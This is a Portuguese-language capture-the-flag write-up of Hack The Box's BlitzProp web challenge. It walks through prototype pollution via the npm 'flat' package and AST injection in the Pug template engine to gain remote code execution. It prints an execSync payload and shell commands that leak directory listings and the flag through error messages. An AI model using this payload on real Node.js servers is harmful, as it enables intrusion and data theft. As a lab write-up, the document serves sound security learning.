Cyber Apocalypse 2021 via Hack The Box
Neste feriadão o Hack The Box organizou o CTF Cyber Apocalypse 2021, com um número grande de desafios web. Este CTF foi extremamente divertido e consegui resolver 7 desafios, todos Web. Recebi um certificado de participação, que eu ainda não tinha visto, mas curti demais.
Nesta série de write-ups, eu vou falar do processo da solução de cada desafio resolvido.
Desafio: BlitzProp
Este desafio começa com uma tela matrixesca perguntando a sua música favorita da banda “Blitz” (Evandro Mesquita?).
Este desafio vem com o código-fonte disponível:
Resumo do Código
- Envia apenas um index.html estático via URL / (tela inicial)
- Recebe, via POST, na URL /api/submit, o nome da música digitada (em “song”)
- Caso o nome (song) esteja na lista pré-determinada, retorna uma mensagem positiva — muito importante aqui o uso do pug, que explico mais abaixo.
- Caso a música não esteja entre a lista pré-determinada, retorna uma mensagem negativa (começando)
Abaixo um exemplo simples de chamada e retorno, pra ficar mais clara a solução no final. Importante verificar que o dado enviado está no formato JSON (no exemplo abaixo, rodando simulando o CTF no meu computador),
$ curl 'http://localhost:1337/api/submit' \
> -H 'Content-Type: application/json' \
> -H 'Origin: http://localhost:1337' \
> --data-raw '{"song.name":"ASTa la vista baby"}'% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 105 100 71 100 34 3227 1545 --:--:-- --:--:-- --:--:-- 4772{"response":"<span>Hello guest, thank you for letting us know!</span>"}
PUG — O cãozinho perigoso do NodeJS
O PUG é um Template Engine, que é utilizado pra montar telas (HTML) dinamicamente. Se você for velha guarda (que nem eu), vai lembrar de ter visto isso no JSP no início, depois você viu por exemplo no Flask com o Jinja. O NodeJS também tem um concorrente famoso, que é o EJS.
Você consegue usar o PUG isoladamente, como no código acima, pra “compilar” uma string, passando como parâmetros os valores das variáveis que precisam ser renderizadas. No código dessa aplicação, ele usa o pug pra passar um valor para “user” na string, usando o valor “guest”.
Esse tipo de coisa é super suspeita em CTF, porque não faz sentido você usar isso no mundo real só pra substituir o valor de uma variável.
Vulnerabilidade
O EXCELENTE artigo AST Injection, Prototype Pollution to RCE (p6.is) fala sobre como explorar uma falha no PUG através de Prototype Pollution. Se você ainda não conhece esse tipo de falha, sugiro ler o texto abaixo, onde explico a solução de um CTF através desse tipo de falha:
A prova de conceito (emprestada do artigo que mencionei acima), mostra que, se conseguirmos envenenar o Object.prototype.block, conseguimos incluir um conteúdo qualquer, que não faz parte do conteúdo original enviado pra compilação.
E, você consegue efetivamente executar códigos no servidor, incluindo um valor em line. O código abaixo faria com que fosse executado o comando id durante o processo de compilação do PUG, pois o trecho em negrito seria executado.
Object.prototype.block = {"type": "Text", "line": "console.log(process.mainModule.require('child_process').execSync('id').toString())"};
Mas ainda fica a dúvida de como fazer isso acontecer no servidor, já que a gente não pode simplesmente enfiar esse código antes do PUG.
Atacando o BlitzProp
O PUG, à primeira vista, não está diretamente acessível para os clientes web, porque ele faz uma chamada fixa usando o parâmetro estático “guest”, mas o trecho abaixo traz uma esperança:
const { unflatten } = require('flat');
...const { song } = unflatten(req.body);
O pacote npm flat faz algo interessante, que é converter as chaves que possuem pontos no texto em múltiplos níveis (e vice-versa com o unflatten). Mais fácil entender com o trecho de código abaixo, retirado da própria descrição do pacote no site.
Isso automaticamente ativa o modo maldade nos nossos cérebros, pois é possível enfiar um “__proto__” no POST e envenenar o Object.prototype.block!
Abaixo, o código do exploit final em Javascript, que vou explicar com mais detalhes:
- O Payload é o JSON enviado efetivamente para o servidor (volto a ele já já)
- o require(‘node-fetch’) é basicamente o fetch do Javascript, que faz o POST :)
- o JSON.stringify transforma o Payload em uma string JSON pra enviar.
Quando o payload é recebido no servidor, acontecem os seguintes passos:
- A chave __proto__.block é convertida para dois níveis no unflatten, conforme abaixo:
Com a inclusão do __proto__ na raiz do Objeto, envenenamos o Object.prototype.block com as chaves type e line, onde line possui um código que vai ser executado pelo pug, conforme demonstrado mais acima :)
Extração de Dados — Exfiltração
O código efetivo executado no servidor é o Javascript abaixo:
O que este código faz é abrir um novo processo, usando a linha de comando enviada na string como parâmetro. Aqui eu preciso explicar um pouco porque o comando ficou tão estranho!
Eu consegui executar código no servidor, mas até este momento, ainda não tinha conseguido retornar as informações que precisava pra mim, pois o retorno do POST traz apenas uma string fixa de informação.
- Tentei executar um fetch via Javascript, mas o pacote não estava instalado no servidor.
- Tentei chamar (via child_processo) um curl, mas também não estava instalado, nem o wget.
- Tentei conectar via /dev/tcp/<ip>/<porta> em um servidor externo sob meu controle, mas.. este device não estava disponível no servidor.
Depois eu percebi que tinha retorno via mensagens de erro do servidor :) (que burro, dá zero pra ele).
Como exemplo, imagina que você manda um ls em um diretório que não existe, retornando o abc, que é uma informação que eu controlo:
$ ls -l /usr/abcls: cannot access '/usr/abc': No such file or directory.
Com essa mesma linha de raciocínio, eu consigo gerar um erro que venha com informações adicionais que eu não tenho. Abaixo, como listei o conteúdo do diretório corrente da aplicação, e encontrei o nome secreto da flag!
Error: Command failed: echo X > /a/b/$(ls -la)
/bin/sh: can't create /a/b/total 68
drwxr-xr-x 1 root root 4096 Ap
r 20 18:18 .
drwxr-xr-x 1 root root 4096 Apr 20 18:18 ..
-rw-r--r-- 1 nobody nobody
24 Apr 19 09:22 flagAEXyB
-rw-r--r-- 1 nobody nobody 441 Apr 19 09:22 index.js
drwxr-xr-x 89 root root &
nbsp; 4096 Apr 19 09:26 node_modules
-rw-r--r-- 1 nobody nobody 359 Apr 19 09:22 package.json
drwxr-xr-x
2 nobody nobody 4096 Apr 19 09:26 routes
drwxr-xr-x 5 nobody nobody 4096 Apr 19 09:26 static
drwxr
-xr-x 2 nobody nobody 4096 Apr 19 09:26 views
-rw-r--r-- 1 nobody nobody 26114 Apr 19 09:22 yarn.lock
: nonexistent directory
on line 1
at checkExecSyncError (node:child_process:707:11)
at Object.execSync (node:child_process:744:15)
at eva
l (eval at wrap (/app/node_modules/pug-runtime/wrap.js:6:10), <anonymous>:13:63)
at template (eval at wrap (/app/node_modules/pug-runtime/wrap.js:6:10), <anonymous>
;:17:7)
at /app/routes/index.js:16:81
at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)
at next (/app/
node_modules/express/lib/router/route.js:137:13)
at Route.dispatch (/app/node_modules/express/lib/router/route.js:112:3)
at Layer.handle [as handle_request] (
/app/node_modules/express/lib/router/layer.js:95:5)
at /app/node_modules/express/lib/router/index.js:281:22
Agora que encontrei o arquivo da flag e já sei como extrair os dados, é só mandar o cat final matador:
Error: Command failed: echo X > /a/b/$(cat flagAEXyB)
/bin/sh: can't create /a/b/CHTB{p0llute_with_styl3}: nonexistent directory
on line 1
at checkExecSyncE
rror (node:child_process:707:11)
at Object.execSync (node:child_process:744:15)
at eval (eval at wrap (/app/node_modules/pug-runtime/wrap.js:6:10), <anonym
ous>:13:63)
at template (eval at wrap (/app/node_modules/pug-runtime/wrap.js:6:10), <anonymous>:17:7)
at /app/routes/index.js:16:81
at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)
at next (/app/node_modules/express/lib/router/route.js:137:13)
at Rou
te.dispatch (/app/node_modules/express/lib/router/route.js:112:3)
at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)
at
/app/node_modules/express/lib/router/index.js:281:22
Flag CHTB{p0llute_with_styl3} foi pra conta!
Na parte 2, a solução de dois challenges de PHP.
Referências
- Perfil do CTF — no CTF Time: https://ctftime.org/event/1051
- Meu perfil no CTF Time: https://ctftime.org/team/122851
- Link Direto do Evento: Hack The Box & CryptoHack Cyber Apocalypse 2021 | Global & Free CTF
- Hack The Box (HTB): Hack The Box: Hacking Training For The Best
- PUG: https://pugjs.org/
- Template Engines: https://expressjs.com/en/resources/template-engines.html
- AST Injection (vulnerabilidade PUG): https://blog.p6.is/AST-Injection/
- Pacote NPM Flat: https://www.npmjs.com/package/flat
- /dev/tcp: https://tldp.org/LDP/abs/html/devref1.html#DEVTCP
- Prototype Pollution: https://neptunian.medium.com/great-lakes-security-conference-ctf-hackeando-apps-nodejs-parte-3-1aebeaddbeec
- Twitter: @NeptunianHacks